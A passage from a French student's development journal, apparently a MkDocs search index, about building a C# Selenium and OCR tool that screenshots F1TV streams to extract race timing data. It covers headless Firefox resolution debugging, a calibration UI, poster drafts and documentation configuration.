que j'ai expliqu\u00e9 et va ensuite stocker les r\u00e9sultats dans un CSV pour qu'il soit facile d'y acc\u00e8der depuis le C#. Alors oui cela pose certaines questions de s\u00e9curit\u00e9. Car en effet je prend tous les cookies, les d\u00e9code et les stocke. Ce qui veut dire que je pourrais tout \u00e0 fait envoyer ces donn\u00e9es quelque part, par exemple un compte Netflix, et me rincer. Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionn\u00e9 clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca. Maintenant de l'autre c\u00f4t\u00e9 j'ai juste \u00e0 lire le CSV et le tour est jou\u00e9 ! (Trouver cette solution m'a pris une semaine de vacances \u00e0 l'\u00e9poque) Bon j'ai r\u00e9ussi \u00e0 faire le programme se connecter et naviguer etc.. Par contre quelque chose que j'ai voulu ajouter et qui m'a pris pas mal de temps c'est de faire en sorte de pouvoir selectionner la qualit\u00e9. Pour changer la qualit\u00e9 du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la m\u00eame. Elle commence toujours pas \"1080_\" mais ensuite ca peut \u00eatre \"1080_45930285\" ou \"1080_56801\" la suite est apparemment random. J'ai donc du utiliser ce code pour le selectioner quand m\u00eame : IWebElement settingsButton = driver.FindElement(By.ClassName(\"bmpui-ui-settingstogglebutton\")); settingsButton.Click(); IWebElement selectElement = driver.FindElement(By.ClassName(\"bmpui-ui-videoqualityselectbox\")); SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector(\"option[value^='1080_']\")); selectOption.Click(); Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le probl\u00e8me c'est qu'il est invisible alors on doit le faire apparaitre. J'ai tent\u00e9 de le faire aparaitre en bougeant la souris, en cliquant \u00e0 un endroit pr\u00e9cis, impossible de le faire marcher correctement. Puis j'ai eu l'id\u00e9e de mettre pause en envoyant un appui sur la touche Espace et ca a permit de d\u00e9couvrir le bouton et permettre qu'on clique dessus. Ca peut paraitre tout b\u00eate mais rien que ca, ca m'a pris un temps consid\u00e9rable. Bon pour ce qui est du timecode de la vid\u00e9o. Je pense qu'il serait trop complexe de faire en sorte que selenium change le slider de progression de la vid\u00e9o. Alors j'ai fait quelques tests et apparemment, si on quitte la F1TV sur un timecode de la vid\u00e9o que on donne au programme, comme il r\u00e9cup\u00e8re tous les cookies de la F1TV il commencera de la. Donc si on veut utiliser le programme avec des Grand Prix ayant d\u00e9ja eu lieu, on peut le faire, seulement il faudra juste au pr\u00e9alable avoir choisit le bon timecode dans le page de la F1TV avant de le lancer. Ce qui est int\u00e9ressant c'est que la page de la F1TV ressemble \u00e0 ca au d\u00e9part : \"Empty F1TV\" Je pense qu'une bonne id\u00e9e serait de dire au programme que c'est la grille de d\u00e9part et ensuite d\u00e8s qu'il d\u00e9tecte un secteur il sait que la course a commenc\u00e9.","title":"Vacances"},{"location":"jdb.html#lundi-24-avril-2023","text":"Aujourd'hui c'est jour de documentation. J'ai pas mal travaill\u00e9 pendant les vacances mais je n'ai pas encore pu faire de vraie documentation correcte du fonctionnement. Du coup je vais m'en charger aujourd'hui et peut-\u00eatre un peu demain. Ok normalement je ne devrais faire que de la documentation mais je ne peux pas passer \u00e0 cot\u00e9 de ca... Le probl\u00e8me que j'ai avec les pneus ou parfois il d\u00e9tecte un H au lieu d'un '11' et ce genre de choses c'est \u00e0 cause de ma methode \"RemoveBG\" Qui va retirer tous les pixels plus sombres que le background. Sauf que cela va aussi retirer des pixels dans le chiffre lui m\u00eame et qui va donc defigurer les 11 : \"diformed 11\" \"diformed 11\" J'ai r\u00e9ussi \u00e0 les changer en : \"less diformed\" \"less diformed\" Mais au final cela n'a pas augment\u00e9 la pr\u00e9cision de la reconnaissance. Je pense que je vais donc devoir encore changer. Je pense que une bonne facon de trouver serait dabord de trouver la couleur du pneu. Et si il n'y a pas assez de couleur alors c'est que le pneu contient une lettre. Le but est d'arr\u00eater de chercher des lettres ou des chiffres. Comme ca les 11 arr\u00eateront d'\u00eatre pris pour des 'H' En fait on peut faire encore plus simple que ca. On peut simplement regarder la couleur dominante et determiner le pneu. En effet m\u00eame si il y a une lettre sur fond noir pour d\u00e9crire le pneu, mon methode de r\u00e9cup\u00e8ration de la couleur dominante ommet les pixels trop noirs alors il est quand m\u00eame possible de determiner le type de pneus. Et tout simplement si il n'arrive pas \u00e0 lire le chiffre c'est que c'est une lettre et que donc on est \u00e0 0 tours. Cela marche plut\u00f4t bien et cela simplifie pas mal le processing. Voila, la je vais me remettre \u00e0 la documentation sinon je vais encore prendre du retard.","title":"Lundi 24 Avril 2023"},{"location":"jdb.html#mardi-25-avril-2023","text":"Encore une fois j'ai pris du temps de doc pour changer des choses sur la partie OCR. Mais en m\u00eame temps en documentant je vois des choses que j'ai soit mal fait soit que je pourrais faire mieux en changeant tr\u00e8s peu de choses. J'\u00e9sp\u00e8re que les changement que j'ai fait vont aider au moins \u00e0 la coh\u00e9rence du code et un peu pour les performances. Il semble que dans les conditions que j'ai test\u00e9 le nombre de tour soit plut\u00f4t fiable mais je pense que je devrai faire un peu de travail en aval dans la r\u00e9cup\u00e9ration de ces donn\u00e9es car je sens que cela va poser probl\u00e8me quelques fois. Je pense que en utilisant bien l'historique on peut potentiellement se passer de l'utilisation de ce chiffre pas toujours compl\u00eatement fiable. Mais sinon aujourd'hui c'est encore une fois un gros jour de doc. J'essaie d'expliquer les diff\u00e9rents proc\u00e9d\u00e9s avant de les oublier. J'essaie aussi de donner un maximum d'exemples sous formes de photos interm\u00e9diaires mais ca me prend pas mal de temps car il faut que j'ajoute un peu partout dans le code des lignes pour sortir des images interm\u00e9diaires. En plus de la documentation je me suis aussi beaucoup occup\u00e9 de nettoyer mon code et je suis assez content par ce que m\u00eame en ayant du rajouter des couches de complexit\u00e9 pour mieux reconnaitres les temps au tour j'arrive \u00e0 un temps de processing parfois en dessous des 2 secondes ce que je trouve honorable. Quand j'aurai finit de nettoyer tous mes fichiers je ferai une release sur gitea et ce sera la version que j'utiliserai quand je voudrai faire un merge avec les autres parties du projet. J'ai beaucoup beaucoup boss\u00e9 aujourd'hui et je sui bien mort. Faire autant de documentation et de nettoyage de code c'est pas forc\u00e9ment bon pour le cerveau je crois. J'ai besoin d'une sieste. Demain je pense que je vais commencer \u00e0 avancer sur la partie r\u00e9cup\u00e8ration des images. Je sais que la je fais un peu passer les tests \u00e0 la trappe mais d\u00e9ja j'en ai fait tout le long du d\u00e9veloppement de OCR_DECODE et il faut vraiment que j'avance, quitte \u00e0 revenir dessus quand j'aurai merge les deux projets ensemble.","title":"Mardi 25 Avril 2023"},{"location":"jdb.html#26-avril-2023","text":"Aujourd'hui je vais devoir m'occuper de la partie r\u00e9cup\u00e9ration des images. J'ai d\u00e9ja eu l'occasion d'avancer sur ce projet pendant mopn poc et mes vacances. Donc la le but ca va \u00eatre de voir ce qui manque comme v\u00e9ritables features et ensuite je vais pouvoir m'occuper de la vue et de son int\u00e9gration avec le d\u00e9codage. Ok donc maintenant que j'au un programme qui arrive \u00e0 prendre des images depuis la F1TV correctement et en bonne r\u00e9solution. Je pense qu'il est temps de passer \u00e0 l'impl\u00e9mentation de la Forme que ca va prendre. C'est important de se poser au moins cinq minutes la question de comment je pr\u00e9vois de faire car m\u00eame si ca n'est pas la version finale, cette derni\u00e8re prendra tr\u00e8s fort inspiration du desing que je vais faire. Dans cette form j'aurais besoin de : Pouvoir selectionner un Grand Prix en ins\u00e8rant l'URL du feed. Pouvoir lancer la calibration si besoin Indiquer le titre et la date du Grand Prix Indiquer si le Grand Prix vient de commencer ou si il y a d\u00e9ja un certain nombre de tours lanc\u00e9s. Et c'est \u00e0 peu pr\u00e8s tout en fait... J'ai tellement pouss\u00e9 pour avoir un programme qui fait tout tout seul que il ne me faut pas grand chose de plus. Je pense que ce qui serait pas mal ca serait du coup d'utiliser ce temps pour bien impl\u00e9menter la calibration qui elle aura besoin d'une UI un peu plus bal\u00e8ze. On pourrait m\u00eame imaginer que la calibration fasse partie int\u00e9grante des settings... Ca serait peut-\u00eatre bien que quand l'application se lance on se retrouve sur la page principale d'affichage de donn\u00e9es et qu'on puisse simplement cliquer sur la page options qui contient la page calibration et qui permet de rentrer les infos du Grand Prix. Je pense que je vais faire ca. Voici l'interface que j'ai d\u00e9velopp\u00e9e pour regrouper tout ca : \"Screen\" La police le style le placement et les couleurs ne sont pas d\u00e9finitfs, cependant je pense que c'est un bon d\u00e9but. Le but maintenant va \u00eatre de permettre de faire fonctionner la calibration et la r\u00e9cup\u00e8ration d'images. Si j'arrive \u00e0 faire fonctionner ces deux choses sur un m\u00eame projet avant la fin de la semaine cela serait super ! Bon J'ai pu avancer sur l'int\u00e8gration de Selenium mais cela prend un peu de temps car je veux impl\u00e9metner un moyen de pouvoir prendre une Screenshot \u00e0 nimporte quel moment et pas juste en boucle. Demain je finis de faire fonctionner ca et ensuite je commence le cablage du reste.","title":"26 Avril 2023"},{"location":"jdb.html#jeudi-27-avril-2023","text":"C'est assez dur de faire l'importation car il y a des petites diff\u00e9rences qui obligent \u00e0 presque tout r\u00e9\u00e9crire. En fait le programme de calibration avait d\u00e9ja impl\u00e9ment\u00e9 la fonction de Windows et de Zones mais il fonctionnait juste assez diff\u00e9remment pour qu'il faille tout refaire. La je suis en train de perdre \u00e9norm\u00e9ment de temps \u00e0 cause d'un soucis de coordonn\u00e9es. J'ai repris le code de la calibration pour detecter ou l'utilisateur a cliqu\u00e9 pour cr\u00e9er les zones. Cependant, je n'arrive pas \u00e0 le faire fonctionner correctement. La zone est tout le temps d\u00e9cal\u00e9e en haut et en bas mais pas de la m\u00eame facon. En haut, la valeur Y est trop grande alors que en bas la valeur Y est trop petite... Je ne comprends pas bien pourquoi. Si c'\u00e9tait un simple d\u00e9calage cela ne serait pas compliqu\u00e9 \u00e0 g\u00e8rer mais la... J'ai un soucis \u00e9galement avec la r\u00e9solution des screenshots que je r\u00e9cup\u00e8re en full Headless. Voici un exemple de r\u00e9solution que j'arrive \u00e0 r\u00e9cup\u00e8rer sans le headless : \"High Res\" \"Low Res\" Il y a clairement un soucis et le probl\u00e8me c'est que avec une r\u00e9solution pareille, impossible de faire une reconnaissance correcte. BON J?EN PEUX PLUS LA. Ca fait des heures que je bosse sur ce probl\u00e8me d\u00e9bile et impossible de trouver une solution. J'ai essay\u00e9 cinq facons de forcer le browser headless a prendre une plus haute r\u00e9solution aucune ne fonctionne je ne comprends pas. A chaque fois que je me retrouve avec une r\u00e9solution de 1366 x 768 Ou une variante de basse r\u00e9solution du style. J'en peux plus je ne trouve aucune r\u00e9ponse sur internet ni m\u00eame avec chatGPT. Super... La seule chose que j'ai pu faire qui change quelque chose fait que les images font maintenant du 926x517... j'ai un peu envie de commentre un crime de guerre au plus vite.","title":"Jeudi 27 Avril 2023"},{"location":"jdb.html#vendredi-28-avril-2023","text":"Une des solutions que je n'ai pas encore essay\u00e9 est de changer ma version de GeckoDriver. Sauf que ca m'oblige \u00e0 changer les versions de mes libraries ce qui est tr\u00e8s p\u00e9nible, je vais continuer le debugging dans le projet Selenium_clean. Il faut savoir que la librairie de Selenium que j'utilise est bloqu\u00e9e en 0.27 ce qui fait que je ne peux utiliser qu'une version obsol\u00e8te du Gecko Driver. J'ai tent\u00e9 de changer vers une version en 64 bits du GeckoDriver 0.27 mais pareil, je me retrouve toujours avec des images de M. J'essaie toutes les solutions que je trouve sur internet aucune ne convient c'est infernal. J'essaie de changer la r\u00e9solution DPI, j'essaie de changer les param\u00eatres par d\u00e9faut des player de Firefox, j'essaie de changer la r\u00e9solution pendant et au d\u00e9but de l'execution IMPOSSIBLE DE FAIRE MARCHER CETTE MERDE C'EST PAS POSSIBLE !!! J'ai essay\u00e9 avec chrome mais je ne peux pas l'utiliser car les DRM m'emp\u00eacheront de prendre des screenshot du flux vid\u00e9o. J'ai essay\u00e9 de faire tourner avec edge mais edge ne peut pas tourner en headless. JE VAIS DEVENIR FOUF FPWQOVMQEKOVNVIBDBJDAIVOBI. ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES : // Create a new FirefoxDriver instance IWebDriver driver = new FirefoxDriver(); // Navigate to the specified URL driver.Navigate().GoToUrl(\"https://www.example.com\"); // Do something with the driver (e.g., find elements or take screenshots) // Quit the driver driver.Quit(); Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV Oui je suis un peu \u00e9nerv\u00e9 ca se voit? A bon? Et maintenant NUGGET ne fonctionne plus... j'en peux plus la. Je ne peux plus t\u00e9l\u00e9charger de librairie sur aucun de mes projets... J'ai tent\u00e9 de supprimer le fichier de config et red\u00e9marrer Visual Studio mais cela ne fait rien. J'ai aussi tent\u00e9 de faire un 'nugget restore' toujours rien. Bon apparemment je ne suis pas le seul qui ne peut pas acc\u00e8der \u00e0 Nuget donc bon c'est pas juste chez moi qu'il y a un soucis. Mais m\u00eame en mettant ma 4G pour me connecter, je n'arrive pas \u00e0 acc\u00e8der \u00e0 certains sites y compris Nuget et je ne peux pas download de librairies... Je ne comprends pas ce qui se passe et du coup je ne peux juste pas bosser... J'ai red\u00e9marr\u00e9 trois fois mon pc et visual studio, j'ai essay\u00e9 de changer mes settings DNS etc... impossible de bosser. Je crois que je n'aurais pas du me reveiller aujourd'hui. Bon je vais tenter d'avancer sur mon poster en attendant que le r\u00e9seau soit en meilleur \u00e9tat.","title":"Vendredi 28 Avril 2023"},{"location":"jdb.html#lundi-1-mai-2023","text":"Bon je bosse depuis chez moi donc j'esp\u00e8re que Nuget va mieux fonctionner. Apr\u00e8s un weekend \u00e0 r\u00e9fl\u00e9chir au sujet de cette resolution je me suis dit deux choses. La seule personne sur internet que j'ai vu avoir le meme soucis avait une r\u00e9solution de 1920x1200 comme moi. Cela veut donc s\u00fbrement dire que le soucis vient de cette r\u00e9solution de laptop comme moi. Si vraiment je n'arrive pas dans un premier temps \u00e0 faire fonctionner le Headless correctement, je peux toujours laisser la page de c\u00f4t\u00e9 et m'occuper du reste du programme. Certes ca serait vraiment infernal d'avoir \u00e0 garder une page chrome ouvert en tous temps et en plus elle doit \u00eatre en plein \u00e9cran mais bon... Si il n'y a vraiment pas d'autres solutions malheureusement je serai bien oblig\u00e9. BON ! JE N'ARRIVE MEME PLUS A FAIRE UN PROJET QUI UTILISE SELENIUM ET QUI MARCHE JE VAIS FAIRE BR\u00dbLER GENEVE. C'est pas possible serieux, je ne comprends pas j'essaie tout ce que je trouve et impossible de juste lancer firefox c'est du grand nimporte quoi. Je prend les m\u00eame putain de librairies que sur les autres projets les m\u00eames versions, je prend le m\u00eame exact code. Sur le nouveau projet impossible de le faire fonctionner. Je commence \u00e0 croire que on essaie de me faire p\u00eater un cable. Du coup dans un \u00e9lan de d\u00e9sespoir je vais tenter de passer sur une autre librairie qui avec un peu de chance marche et en plus me permettrais de prendre des foutues screenshot dans le bon format. Les deux seules librairies qui pourraient potentiellement faire l'affaire sont les librairies : PhantomJS CefSharp Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec. Alors pour le moment avec CEFSharp j'arrive \u00e0 lancer une instance de chrome et prendre une screenshot avec ce code : CefSettings settings = new CefSettings(); settings.CachePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), \"CefSharp\\\\Cache\"); // Set cache path settings.LogSeverity = LogSeverity.Disable; // Disable logging Cef.Initialize(settings); // Initialize CEF using (var browser = new ChromiumWebBrowser(\"www.google.com\", new BrowserSettings())) // Launch Chromium in off-screen mode { browser.Load(\"https://www.example.com\"); // Navigate to the test URL browser.Size = new Size(1920, 1080); // Set the browser size to 1920x1080 browser.ScreenshotAsync().ContinueWith(task => { var bitmap = task.Result; bitmap.Save(\"screenshot.png\", System.Drawing.Imaging.ImageFormat.Png); // Take a screenshot and save it as a PNG file }).Wait(); } Cef.Shutdown(); // Shutdown CEF Avec ca il faut ces using : using System; using System.Drawing; using System.IO; using CefSharp; using CefSharp.OffScreen; C'est assez prometteur m\u00eame si il faut encore beaucoup pour remplacer selenium. Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre. Donc je vais plut\u00f4t partir sur la librairie GeckoFX qui semble pouvoir contr\u00f4ler une instance de firefox. Mais j'avais justement pris un putain de projet C# et pas JS pour ne pas me taper ces probl\u00e8mes de librairies... Et si cette option ne fonctionne pas mon dernier espoir sera de directement int\u00e9ragir avec le geckodriver.exe et la ca risque de pas \u00eatre dr\u00f4le. JE NE COMPRENDS RIEN !!!!! Ca n'a aucun sens la doc est inexistante le seul lien qui pourrait amener sur une doc envoie sur la page principale de bitbucket. Tous les exemples de code que je trouve ne fonctionnent pas. Je n'arrive \u00e0 rien je commence \u00e0 devenir fou. Tout ce travail pour rien c'est pas possible. M\u00eame en essayant directement d'int\u00e9ragir avec le process geckodriver.exe je ne peux pas arriver \u00e0 mes fins. J'arrive \u00e0 lancer le service et tout, mais je n'arrive pas \u00e0 vraiment contr\u00f4ler ce qu'il se passe donc impossible de venir prendre des screenshot. Je ne sais tout simplement pas quoi faire ... Je suis bloqu\u00e9. Je me suis cass\u00e9 la t\u00eate \u00e0 faire un truc qui marchait bien avec selenium et tout. Mais maintenant plus rien ne fonctionne du jour au lendemain et il n'y a simplement aucune alternative. Je vais essayer de changer directement le projet Selenium_Clean mais bon ca va pas \u00eatre dr\u00f4le. Ok alors j'ai tout repris depuis le d\u00e9but et je crois que j'ai enfin une solution. Pour la trouver j'ai re-essay\u00e9 toutes les techniques que j'avais tent\u00e9 avant mais dans l'ordre et en les isolant \u00e0 chaque fois. Cela inclus : Tenter de changer la densit\u00e9 de pixels. En effet je me suis dit que comme la r\u00e9solution \u00e9tait plus basse le soucis \u00e9tait que le virtual screen avait simplement une DPI r\u00e9duite. profile.SetPreference(\"layout.css.devPixelsPerPx\", \"2.0\"); J'ai aussi tent\u00e9 de r\u00e9duire \u00e0 un seule le nombre de process de Firefox. J'ai pu lire sur internet que parfois cela pouvait influer sur les performances du renderer. profile.SetPreference(\"dom.ipc.processCount\", 1); Ensuite j'ai tent\u00e9 tout b\u00eatement de rajouter dans la liste des arguments la taille voulue de l'\u00e9cran. options.AddArgument(\"--window-size=1920,1080\"); Mais comme cela ne foncionnait pas, je me suis rabattu sur un script JS pour tenter de forcer la fen\u00eatre \u00e0 \u00eatre plus grande. js.ExecuteScript(\"window.resizeTo(1920, 1080);\"); Comme cela n'a pas march\u00e9 j'ai pu lire que cela pouvait \u00eatre la taille int\u00e9rieure qui devait \u00eatre chang\u00e9e js.ExecuteScript(\"window.innerWidth = 1920; window.innerHeight = 1080;\"); Encore une fois sans succ\u00e8s. J'ai ensuite tent\u00e9 d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait. Mais en fait la seule chose qui a chang\u00e9 quoi que ce soit \u00e9tait la technique suivante : Changer la window size en utilisant : options.AddArgument(\"--width=1920\"); options.AddArgument(\"--height=1200\"); Ca ne marchait pas car j'utilisais une autre methode pour resize en m\u00eame temps, qui elle ne marchait pas mais qui emp\u00eachait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'\u00e9tait pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai pass\u00e9e. Alors tout n'est pas encore gagn\u00e9, il faut que j'arrive \u00e0 impl\u00e9menter ca dans un plus gros projet et que la vid\u00e9o puisse \u00eatre prise seule. Demain je m'occupe de ca.","title":"Lundi 1 Mai 2023"},{"location":"jdb.html#mardi-2-mai-2023","text":"Bon aujourd'hui je change le programme principal. Le soucis que j'ai c'est que en ajoutant ce syst\u00e8me de resize, maintenant la page fait 100x100 et est grise. Il doit y avoir une technique que j'ai oubli\u00e9 de retirer ou un comportement un peu bizarrre. Bon clairement je ne sais pas QUI DECIDE DE ME POURRIR LA VIE mais il est fort. J'ai t\u00e9l\u00e9charger EXACTEMENT les m\u00eames librairies que sur mon autre projet et j'utilise l'EXACT m\u00eame geckodriver.exe mais dans le projet principal impossible de lui faire chier une image m\u00eame avec l'EXACT m\u00eame code. POURQUOI VOUS ME FAITES CA????= La je ne comprend vraiment pas ce qui peut se passer pour que rien ne fonctionne alors que tout est pareil. JE VIENS DE TOUT VERIFIER TOUT EST PAREIL JE NE COMPRENDS PAS. Bon apr\u00e8s avoir supprim\u00e9 l'int\u00e9gralit\u00e9 de ma classe Emulator cela semble marcher un peu mieux. Je ne vais pas m'\u00e9tendre sur la castrophe niveau temps que cela repr\u00e9sente. Si au moins j'arrive \u00e0 faire fonctionner quelque chose je suis content. Maintenant j'ai un soucis un peu sp\u00e9cial. Depuis que j'ai chang\u00e9 la r\u00e9solution, il semble que le programme aie du mal \u00e0 cliquer sur l'icone de settings. En prenant des screenshots du moment ou l'erreur apparait, j'ai pu me rendre compte que en fait le stream est toujours en train de charger et c'est pour ca que on arrive pas \u00e0 trouver le bouton : \"ERROR 105\" \"ERROR 105\" Je pense que je n'ai le soucis que maintenant car le flux en 1080p se lance moins vite. Je vais essayer de voir si je peux detecter un \u00e9l\u00e9ment d'HTML qui correspond au loading comme ca je peux attendre qu'il disparaisse. Sinon je peux aussi juste essayer de trouver le bouton en boucle pendant une dixaine de secondes. Bon la j'essaie pendant genre plus de 50 secondes et ca ne marche toujours pas. Il semblerait que au final le probl\u00e8me vienne du GP d'azerbidjan. En effet, quand je teste un autre Grand Prix tout va bien. ET MERDE ! J'ai r\u00e9ussi \u00e0 avoir des images en 1080P mais d\u00e9s que je passe l'image en plein \u00e9cran c'est de nouveau du 1366X768 Avant de mettre en plein \u00e9cran: \"Before fullscreen\" Apr\u00e8s: \"After fullscreen\" On peut voir sur l'image que l'option 1080P est effectivement bien selectionn\u00e9e mais il doit y avoir un param\u00e8tre de Firefox qui s'occupe de la r\u00e9solution d'un player vid\u00e9o. Il va juste falloir trouver ce param\u00eatre... J'ai essay\u00e9 d'utiliser : Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Sans succ\u00e8s. options.AddArgument(\"--start-maximized\"); Pareil Driver.Manage().Window.Maximize(); Toujours rien profile.SetPreference(\"full-screen-api.ignore-widgets\", true); Nada profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); Toujours pas J'ai vraiment cru que j'avais trouv\u00e9 la solution en trouvant cette commande profile.SetPreference(\"full-screen-api.enabled\", true); Mais non toujours pas... Je commence \u00e0 perdre patience. C'EST BON. Apr\u00e8s litt\u00e9rallement 3h de debugging avec M.Bonvin (Que je remercie IMMENSEMENT) on a r\u00e9ussi \u00e0 trouver au fin fond d'un thread github que la valeur \u00e9tait hard cod\u00e9e dans les variables d'environnement et que donc quoi que je fasse je n'aurais pas pu le changer. En fait la seul moyen de tout r\u00e8gler a \u00e9t\u00e9 de changer les variables d'environnement de ma machine: MOZ_HEADLESS_WIDTH et MOZ_HEADLESS_HEIGHT . Et ce qu'il y a de bien c'est que maintenant je peux mettre de la 4K et cela permet de faire un meilleur upscaling.","title":"Mardi 2 Mai 2023"},{"location":"jdb.html#recrutement-payerne-mai-2023","text":"J'ai du faire mon recrutement \u00e0 Payerne Mercredi et Jeudi. Si vous \u00eates curieux je peux vous dire que comme il n'y avait presque plus de places cet \u00e9t\u00e9 je ferai Canonnier Lance mines. C'\u00e9tait assez frustrant d'avoir perdu deux jours de travail mais on va faire avec.","title":"Recrutement Payerne Mai 2023"},{"location":"jdb.html#vendredi-5-mai-2023","text":"Bon malgr\u00e9s les courbatures il faut que je me mette au boulot un peu serieusement par ce que sinon ca va \u00eatre compliqu\u00e9 de rattraper mon retard. La derni\u00e8re fois si je me souviens bien j'avais r\u00e9ussi \u00e0 trouver un moyen de prendres des images en bonne r\u00e9solution. Il faut maintenant que je commence \u00e0 faire fonctionner la calibration et ce qui serait bien ca serait que je commence \u00e0 ajouter la partie OCR au projet. Il faut que je me d\u00e9p\u00eache car Lundi je dois m'occuper du Poster. OK j'ai compris le soucis que j'avais quand j'essayais de faire la calibration. J'avais mis l'image en ZOOM ce qui fait que si la hauteur n'\u00e9tait pas la bonne, l'image \u00e9tait recentr\u00e9e ce qui fait que cela faussait totalement les r\u00e9sultats. Quand on fait en sorte que l'image prenne toute la place, les coordonn\u00e9es sont prises correctement. Voici un exemple d'ou en est la partie calibration. \"Exemple settings UI\" Normalement il me suffit d'impl\u00e9menter les windows, et on devrait relativement facilement ajouter les pilotes. Et voila. J'ai pu impl\u00e9menter les windows et les pilotes. Et je peux aussi exporter des presets et les loader. Bon le loading est un peu beugg\u00e9 au niveau de l'affichage mais il semble qu'il fonctionne bien quand je save les images. Lundi je m'occupe du poster etc.. mais je pense que la suite va \u00eatre l'impl\u00e9mentation de l'OCR.","title":"Vendredi 5 Mai 2023"},{"location":"jdb.html#lundi-8-mai-2023","text":"Aujourd'hui c'est journ\u00e9e Poster. Je pense que je ne vais pas finir la journ\u00e9e content car les limitations sont un peu trop pr\u00e9sentes. J'ai fait une version que Garcia pourrait accepter, c'est \u00e0 dire en noir et blanc et avec un tout petit peu plus de d\u00e9tail. \"Poster V3\" Le truc c'est que en blanc je trouve que ca ne marche pas super. Et le concept d'avoir trois parties au projet qui se posent autour d'un circuit c'est peut-\u00eatre pas la meilleure id\u00e9e. Je me suis dit que la bonne id\u00e9e serait peut-\u00eatre de prendre un autre circuit pour qu'il y aie bien trois parties : \"Poster V4\" Clairement ce poster doit faire partie des pires. C'est pas clair et ca part dans tous les sens. Je vais essayer avec un autre layout de circuit. \"Poster V5\" Je me suis ensuite dit que le circuit n'\u00e9tait peut \u00eatre tout simplement pas une bonne id\u00e9e. J'ai donc essay\u00e9 de faire quelque chose de plus classique avec juste un peu de background pour qu'on puisse \u00e9viter le soucis de la page blanche derri\u00e8re : \"Poster V6\" Puis je me suis dit que finalement le circuit me manquait. Alors j'ai d\u00e9cid\u00e9 de combiner le background et le circuit ainsi que simplifier l\u00e9g\u00e8rement les diagrammes en retouchant un peu tout le reste on pouvait arriver \u00e0 quelque chose de sympatique : \"Poster V7\" Je ne suis pas content \u00e0 100% mais bon je pense que je vais m'en satisfaire. Pour donner une id\u00e9e de la gal\u00e8re que c'est de cr\u00e9er un poster, voici ce \u00e0 quoi ressemble mon espace de travail Figma : \"Bordel Figma\" Je ne suis pas un graphiste et ca se voit '^^. Je pense que comme il me reste un peu de temps aujourd'hui, je vais faire un peu de documentation de la partie r\u00e9cup\u00e8ration d'images. En effet, je pense que je n'aurai plus besoin de changer grand chose \u00e0 ce niveau. Mais je ne ferai pas la partie analyse fonctionnelle car l'interface n'est clairement pas termin\u00e9e. En fait j'avais oubli\u00e9 mais j'ai eu un rendez vous m\u00e9dical du coup je n'ai pas eu trop le temps de faire la doc que je voulais. Mais au moins je pense avoir finit mon travail sur le poster et le abstract en Anglais qui sont les deux gros livrables \u00e0 venir.","title":"Lundi 8 Mai 2023"},{"location":"jdb.html#mardi-9-mai-2023","text":"Bon je viens de me rendre compte que apparemment on doit rendre l'abstract anglais, le Poster, ET LE PROJET. Je pense que mes deux jours \u00e0 l'arm\u00e9e m'ont fait perdre un peu la notion du temps car j'avais l'impression que l'evaluation interm\u00e9diaire 1 \u00e9tait il y a genre moins d'une semaine. Donc aujourd'hui je ne vais pas trop avancer sur le code et vraiment me focus sur la documentation de la r\u00e9cup\u00e8ration d'images. Je pense que je vais aussi ajouter la partie calibration \u00e0 la documentation. Je pense que c'est important que je prenne le temps maintenant car sinon le prof aura l'impression que ca n'a pas trop avanc\u00e9 depuis la derni\u00e8re fois. Et puis je pense que la partie calibration et r\u00e9cup\u00e8ration d'images ne va pas trop changer et la partie calibration encore moins. La partie anglaise je fais la revoir un peu mais je l'avais d\u00e9ja faite pendant les premiers jours alors ca devrait aller. Pour le rendu il nous \u00e9tait demand\u00e9 de fournir un fichier PDF avec tout dedans avec une table des mati\u00e8res notre code source etc... Pour ce faire j'ai du changer le mkdocs.yml et installer des packages. Voici les changements :: site_name: Documentation Track Trends site_author: Rohmer Maxime copyright: \u00a9CFPTI Tech2 theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html - pymdownx.highlight plugins: - glightbox - search - img2fig - with-pdf: cover_subtitle: Vroum Vroum enabled_if_env: ENABLE_PDF_EXPORT - annexes-integration: annexes: # Required (at least 1) - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - Program.cs: Code/Program.cs # An path to an annex with its title - Window.cs: Code/Window.cs # An path to an annex with its title - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - Form1.cs: Code/Form1.cs # An path to an annex with its title - 